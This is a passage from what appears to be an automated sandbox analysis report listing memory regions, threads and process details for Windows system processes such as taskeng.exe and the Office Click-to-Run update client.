	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 2011
	        start_va = 0x7fefee90000
	          end_va = 0x7fefef58fff
	     entry_point = 0x7fefee90000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 2012
	        start_va = 0x7fefef60000
	          end_va = 0x7fefeffefff
	     entry_point = 0x7fefef60000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 2013
	        start_va = 0x7feff5f0000
	          end_va = 0x7feff5fdfff
	     entry_point = 0x7feff5f0000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 2014
	        start_va = 0x7feff600000
	          end_va = 0x7feff666fff
	     entry_point = 0x7feff600000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 2015
	        start_va = 0xf0000
	          end_va = 0xf0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000f0000"
	        filename = ""

Region:
	              id = 2016
	        start_va = 0xd00000
	          end_va = 0xd7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000d00000"
	        filename = ""

Region:
	              id = 2017
	        start_va = 0xe10000
	          end_va = 0xe8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e10000"
	        filename = ""

Region:
	              id = 2018
	        start_va = 0xe90000
	          end_va = 0xf8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e90000"
	        filename = ""

Region:
	              id = 2019
	        start_va = 0xfe0000
	          end_va = 0x105ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000fe0000"
	        filename = ""

Region:
	              id = 2020
	        start_va = 0x11b0000
	          end_va = 0x122ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000011b0000"
	        filename = ""

Region:
	              id = 2021
	        start_va = 0x1230000
	          end_va = 0x14fefff
	     entry_point = 0x1230000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2022
	        start_va = 0x1570000
	          end_va = 0x15effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001570000"
	        filename = ""

Region:
	              id = 2023
	        start_va = 0x1640000
	          end_va = 0x16bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001640000"
	        filename = ""

Region:
	              id = 2024
	        start_va = 0x7fef7240000
	          end_va = 0x7fef7248fff
	     entry_point = 0x7fef7240000
	     region_type = mapped_file
	            name = "tschannel.dll"
	        filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll")

Region:
	              id = 2025
	        start_va = 0x7fefc990000
	          end_va = 0x7fefc9d6fff
	     entry_point = 0x7fefc990000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 2026
	        start_va = 0x7fefcc90000
	          end_va = 0x7fefcca6fff
	     entry_point = 0x7fefcc90000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 2027
	        start_va = 0x7fefd260000
	          end_va = 0x7fefd284fff
	     entry_point = 0x7fefd260000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 2028
	        start_va = 0x7fefd290000
	          end_va = 0x7fefd29efff
	     entry_point = 0x7fefd290000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 2029
	        start_va = 0x7fefd380000
	          end_va = 0x7fefd393fff
	     entry_point = 0x7fefd380000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 2030
	        start_va = 0x7fefdca0000
	          end_va = 0x7fefdcbefff
	     entry_point = 0x7fefdca0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 2031
	        start_va = 0x7fefecb0000
	          end_va = 0x7fefed20fff
	     entry_point = 0x7fefecb0000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 2032
	        start_va = 0x7feff470000
	          end_va = 0x7feff54afff
	     entry_point = 0x7feff470000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 2033
	        start_va = 0x7feff6c0000
	          end_va = 0x7feff758fff
	     entry_point = 0x7feff6c0000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 2034
	        start_va = 0x7fffffd3000
	          end_va = 0x7fffffd4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd3000"
	        filename = ""

Region:
	              id = 2035
	        start_va = 0x7fffffd5000
	          end_va = 0x7fffffd6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd5000"
	        filename = ""

Region:
	              id = 2036
	        start_va = 0x7fffffd7000
	          end_va = 0x7fffffd8fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd7000"
	        filename = ""

Region:
	              id = 2037
	        start_va = 0x7fffffd9000
	          end_va = 0x7fffffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd9000"
	        filename = ""

Region:
	              id = 2038
	        start_va = 0x7fffffdb000
	          end_va = 0x7fffffdcfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdb000"
	        filename = ""


Thread:
	id = 184
	os_tid = 0x674


Thread:
	id = 185
	os_tid = 0x8e4


Thread:
	id = 186
	os_tid = 0x8d4


Thread:
	id = 187
	os_tid = 0x4ec


Thread:
	id = 188
	os_tid = 0x68c


Thread:
	id = 192
	os_tid = 0x39c


Thread:
	id = 193
	os_tid = 0x1e8


Process:
	id = "12"
	image_name = "taskeng.exe"
	filename = "c:\\windows\\system32\\taskeng.exe"
	page_root = "0x18193000"
	os_pid = "0x84c"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "7"
	os_parent_pid = "0x338"
	cmd_line = "taskeng.exe {5A6729DF-D891-4667-84FA-3A3BDCA30210} S-1-5-21-2345716840-1148442690-1481144037-1000:YKYD69Q\\aETAdzjz:Interactive:LUA[1]"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "YKYD69Q\\aETAdzjz"
	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ee00" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 2039
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 2040
	        start_va = 0x30000
	          end_va = 0xaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 2041
	        start_va = 0xb0000
	          end_va = 0xb3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000b0000"
	        filename = ""

Region:
	              id = 2042
	        start_va = 0xc0000
	          end_va = 0xc0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000c0000"
	        filename = ""

Region:
	              id = 2043
	        start_va = 0x77450000
	          end_va = 0x775f8fff
	     entry_point = 0x77450000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 2044
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2045
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2046
	        start_va = 0xffc20000
	          end_va = 0xffc93fff
	     entry_point = 0xffc20000
	     region_type = mapped_file
	            name = "taskeng.exe"
	        filename = "\\Windows\\System32\\taskeng.exe" (normalized: "c:\\windows\\system32\\taskeng.exe")

Region:
	              id = 2047
	        start_va = 0x7feff770000
	          end_va = 0x7feff770fff
	     entry_point = 0x7feff770000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 2048
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 2049
	        start_va = 0x7fffffda000
	          end_va = 0x7fffffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffda000"
	        filename = ""

Region:
	              id = 2050
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 2051
	        start_va = 0x210000
	          end_va = 0x30ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000210000"
	        filename = ""

Region:
	              id = 2052
	        start_va = 0x77330000
	          end_va = 0x7744efff
	     entry_point = 0x77330000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 2053
	        start_va = 0x7fefd6c0000
	          end_va = 0x7fefd72afff
	     entry_point = 0x7fefd6c0000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 2066
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 2067
	        start_va = 0x20000
	          end_va = 0x26fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 2068
	        start_va = 0xd0000
	          end_va = 0x136fff
	     entry_point = 0xd0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2069
	        start_va = 0x140000
	          end_va = 0x141fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 2070
	        start_va = 0x150000
	          end_va = 0x150fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000150000"
	        filename = ""

Region:
	              id = 2071
	        start_va = 0x160000
	          end_va = 0x160fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000160000"
	        filename = ""

Region:
	              id = 2072
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000170000"
	        filename = ""

Region:
	              id = 2073
	        start_va = 0x340000
	          end_va = 0x3bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000340000"
	        filename = ""

Region:
	              id = 2074
	        start_va = 0x3f0000
	          end_va = 0x3fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003f0000"
	        filename = ""

Region:
	              id = 2075
	        start_va = 0x400000
	          end_va = 0x4fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000400000"
	        filename = ""

Region:
	              id = 2076
	        start_va = 0x500000
	          end_va = 0x687fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000500000"
	        filename = ""

Region:
	              id = 2077
	        start_va = 0x690000
	          end_va = 0x810fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000690000"
	        filename = ""

Region:
	              id = 2078
	        start_va = 0x820000
	          end_va = 0x1c1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000820000"
	        filename = ""

Region:
	              id = 2079
	        start_va = 0x1c20000
	          end_va = 0x2012fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001c20000"
	        filename = ""

Region:
	              id = 2080
	        start_va = 0x2020000
	          end_va = 0x209ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002020000"
	        filename = ""

Region:
	              id = 2081
	        start_va = 0x2190000
	          end_va = 0x220ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002190000"
	        filename = ""

Region:
	              id = 2082
	        start_va = 0x2250000
	          end_va = 0x22cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002250000"
	        filename = ""

Region:
	              id = 2083
	        start_va = 0x22d0000
	          end_va = 0x23cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000022d0000"
	        filename = ""

Region:
	              id = 2084
	        start_va = 0x23d0000
	          end_va = 0x269efff
	     entry_point = 0x23d0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2085
	        start_va = 0x26f0000
	          end_va = 0x276ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000026f0000"
	        filename = ""

Region:
	              id = 2086
	        start_va = 0x2790000
	          end_va = 0x280ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002790000"
	        filename = ""

Region:
	              id = 2087
	        start_va = 0x77230000
	          end_va = 0x77329fff
	     entry_point = 0x77230000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 2088
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2089
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 2090
	        start_va = 0x7fef7240000
	          end_va = 0x7fef7248fff
	     entry_point = 0x7fef7240000
	     region_type = mapped_file
	            name = "tschannel.dll"
	        filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll")

Region:
	              id = 2091
	        start_va = 0x7fefa9c0000
	          end_va = 0x7fefa9c9fff
	     entry_point = 0x7fefa9c0000
	     region_type = mapped_file
	            name = "ktmw32.dll"
	        filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll")

Region:
	              id = 2092
	        start_va = 0x7fefc990000
	          end_va = 0x7fefc9d6fff
	     entry_point = 0x7fefc990000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 2093
	        start_va = 0x7fefcc90000
	          end_va = 0x7fefcca6fff
	     entry_point = 0x7fefcc90000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 2094
	        start_va = 0x7fefcec0000
	          end_va = 0x7fefcf2cfff
	     entry_point = 0x7fefcec0000
	     region_type = mapped_file
	            name = "wevtapi.dll"
	        filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll")

Region:
	              id = 2095
	        start_va = 0x7fefd260000
	          end_va = 0x7fefd284fff
	     entry_point = 0x7fefd260000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 2096
	        start_va = 0x7fefd290000
	          end_va = 0x7fefd29efff
	     entry_point = 0x7fefd290000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 2097
	        start_va = 0x7fefd380000
	          end_va = 0x7fefd393fff
	     entry_point = 0x7fefd380000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 2098
	        start_va = 0x7fefd8a0000
	          end_va = 0x7fefd976fff
	     entry_point = 0x7fefd8a0000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 2099
	        start_va = 0x7fefd980000
	          end_va = 0x7fefdb82fff
	     entry_point = 0x7fefd980000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 2100
	        start_va = 0x7fefdb90000
	          end_va = 0x7fefdc98fff
	     entry_point = 0x7fefdb90000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 2101
	        start_va = 0x7fefdca0000
	          end_va = 0x7fefdcbefff
	     entry_point = 0x7fefdca0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 2102
	        start_va = 0x7fefecb0000
	          end_va = 0x7fefed20fff
	     entry_point = 0x7fefecb0000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 2103
	        start_va = 0x7fefed30000
	          end_va = 0x7fefee5cfff
	     entry_point = 0x7fefed30000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 2104
	        start_va = 0x7fefee60000
	          end_va = 0x7fefee8dfff
	     entry_point = 0x7fefee60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 2105
	        start_va = 0x7fefee90000
	          end_va = 0x7fefef58fff
	     entry_point = 0x7fefee90000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 2106
	        start_va = 0x7fefef60000
	          end_va = 0x7fefeffefff
	     entry_point = 0x7fefef60000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 2107
	        start_va = 0x7feff470000
	          end_va = 0x7feff54afff
	     entry_point = 0x7feff470000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 2108
	        start_va = 0x7feff5f0000
	          end_va = 0x7feff5fdfff
	     entry_point = 0x7feff5f0000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 2109
	        start_va = 0x7feff600000
	          end_va = 0x7feff666fff
	     entry_point = 0x7feff600000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 2110
	        start_va = 0x7feff6c0000
	          end_va = 0x7feff758fff
	     entry_point = 0x7feff6c0000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 2111
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 2112
	        start_va = 0x7fffffd4000
	          end_va = 0x7fffffd5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd4000"
	        filename = ""

Region:
	              id = 2113
	        start_va = 0x7fffffd6000
	          end_va = 0x7fffffd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd6000"
	        filename = ""

Region:
	              id = 2114
	        start_va = 0x7fffffd8000
	          end_va = 0x7fffffd9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd8000"
	        filename = ""

Region:
	              id = 2115
	        start_va = 0x7fffffdc000
	          end_va = 0x7fffffddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdc000"
	        filename = ""

Region:
	              id = 2116
	        start_va = 0x7fefbbb0000
	          end_va = 0x7fefbc05fff
	     entry_point = 0x7fefbbb0000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")

Region:
	              id = 2117
	        start_va = 0x20a0000
	          end_va = 0x217efff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000020a0000"
	        filename = ""

Region:
	              id = 2118
	        start_va = 0x28d0000
	          end_va = 0x294ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000028d0000"
	        filename = ""

Region:
	              id = 2119
	        start_va = 0x2950000
	          end_va = 0x29cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002950000"
	        filename = ""

Region:
	              id = 2120
	        start_va = 0x7fefb790000
	          end_va = 0x7fefb7c4fff
	     entry_point = 0x7fefb790000
	     region_type = mapped_file
	            name = "xmllite.dll"
	        filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll")

Region:
	              id = 2121
	        start_va = 0x7fefb7d0000
	          end_va = 0x7fefb7e7fff
	     entry_point = 0x7fefb7d0000
	     region_type = mapped_file
	            name = "dwmapi.dll"
	        filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")

Region:
	              id = 2122
	        start_va = 0x7fffffac000
	          end_va = 0x7fffffadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffac000"
	        filename = ""


Thread:
	id = 189
	os_tid = 0xbf4


Thread:
	id = 190
	os_tid = 0xbe8


Thread:
	id = 191
	os_tid = 0xbfc


Thread:
	id = 195
	os_tid = 0xbe4


Thread:
	id = 196
	os_tid = 0xbec


Thread:
	id = 197
	os_tid = 0xbf8


Thread:
	id = 198
	os_tid = 0x314


Thread:
	id = 199
	os_tid = 0x97c


Process:
	id = "13"
	image_name = "officec2rclient.exe"
	filename = "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"
	page_root = "0x1f7e8000"
	os_pid = "0xbf0"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "child_process"
	parent_id = "11"
	os_parent_pid = "0x7a0"
	cmd_line = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe\" /update SCHEDULEDTASK displaylevel=False"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000c340" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]

Region:
	              id = 2054
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 2055
	        start_va = 0x30000
	          end_va = 0x12ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 2056
	        start_va = 0x130000
	          end_va = 0x133fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000130000"
	        filename = ""

Region:
	              id = 2057
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 2058
	        start_va = 0x77450000
	          end_va = 0x775f8fff
	     entry_point = 0x77450000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 2059
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2060
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2061
	        start_va = 0x13fe20000
	          end_va = 0x140e62fff
	     entry_point = 0x13fe20000
	     region_type = mapped_file
	            name = "officec2rclient.exe"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe")

Region:
	              id = 2062
	        start_va = 0x7feff770000
	          end_va = 0x7feff770fff
	     entry_point = 0x7feff770000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 2063
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 2064
	        start_va = 0x7fffffda000
	          end_va = 0x7fffffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffda000"
	        filename = ""

Region:
	              id = 2065
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 2267
	        start_va = 0x220000
	          end_va = 0x31ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000220000"
	        filename = ""

Region:
	              id = 2268
	        start_va = 0x77330000
	          end_va = 0x7744efff
	     entry_point = 0x77330000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 2269
	        start_va = 0x7fefd6c0000
	          end_va = 0x7fefd72afff
	     entry_point = 0x7fefd6c0000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 2270
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
